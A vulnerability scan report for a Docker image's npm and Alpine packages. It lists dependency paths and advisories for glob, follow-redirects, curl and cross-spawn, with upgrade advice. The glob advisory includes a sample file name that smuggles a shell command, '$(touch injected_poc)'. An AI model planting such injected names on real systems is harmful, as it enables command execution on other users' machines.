  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2

Overview

Affected versions of this package are vulnerable to Command Injection in the CLI, via the -c/--cmd option. The processing of commandline options in src/bin.mts calls the foregroundChild() on them, which defaults to setting shell: true. An attacker who can control the filenames being matched can execute arbitrary commands with the privileges of the user running the process by writing files with malicious names containing shell metacharacters - e.g. $(touch injected_poc).

The malicious filename must be the target of a match by the glob -c command. Such filenames would not trigger this exploit when invoking glob() or related functions via the library API.

Remediation

Upgrade glob to version 10.5.0, 11.1.0 or higher.

References

More about this vulnerability

Improper Removal of Sensitive Information Before Storage or Transfer

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: follow-redirects
  • Introduced through: rag-builder@1.0.0, axios@1.12.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2 › follow-redirects@1.15.11

Overview

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.

Remediation

Upgrade follow-redirects to version 1.16.0 or higher.

References

More about this vulnerability

Cleartext Transmission of Sensitive Information

high severity
Exploit: Not Defined
  • Package Manager: alpine:3.23
  • Vulnerable module: curl/libcurl
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 and curl/libcurl@8.19.0-r0

Detailed paths

  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › curl/libcurl@8.19.0-r0
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › curl/curl@8.19.0-r0 › curl/libcurl@8.19.0-r0
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › curl/curl@8.19.0-r0

NVD Description

Note: Versions mentioned in the description apply only to the upstream curl package and not the curl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Using libcurl, when a custom Host: header is first set for an HTTP request and a second request is subsequently done using the same easy handle but without the custom Host: header set, the second request would use stale information and pass on cookies meant for the first host in the second request. Leak them.

Remediation

Upgrade Alpine:3.23 curl to version 8.20.0-r0 or higher.

References

More about this vulnerability

Server-Side Request Forgery (SSRF)

high severity
Exploit: Not Defined
  • Package Manager: alpine:3.23
  • Vulnerable module: curl/libcurl
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 and curl/libcurl@8.19.0-r0

Detailed paths

  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › curl/libcurl@8.19.0-r0
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › curl/curl@8.19.0-r0 › curl/libcurl@8.19.0-r0
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › curl/curl@8.19.0-r0

NVD Description

Note: Versions mentioned in the description apply only to the upstream curl package and not the curl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

libcurl might in some circumstances reuse the wrong connection for SMB(S) transfers.

libcurl features a pool of recent connections so that subsequent requests can reuse an existing connection to avoid overhead.

When reusing a connection a range of criteria must be met. Due to a logical error in the code, a network transfer operation that was requested by an application could wrongfully reuse an existing SMB connection to the same server that was using a different "share" than the new subsequent transfer should.

This could in unlucky situations lead to the download of the wrong file or the upload of a file to the wrong place. When this happens, the same credentials are used and the server name is the same.

Remediation

Upgrade Alpine:3.23 curl to version 8.20.0-r0 or higher.

References

More about this vulnerability

Regular Expression Denial of Service (ReDoS)

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: cross-spawn
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › foreground-child@3.2.1 › cross-spawn@7.0.3
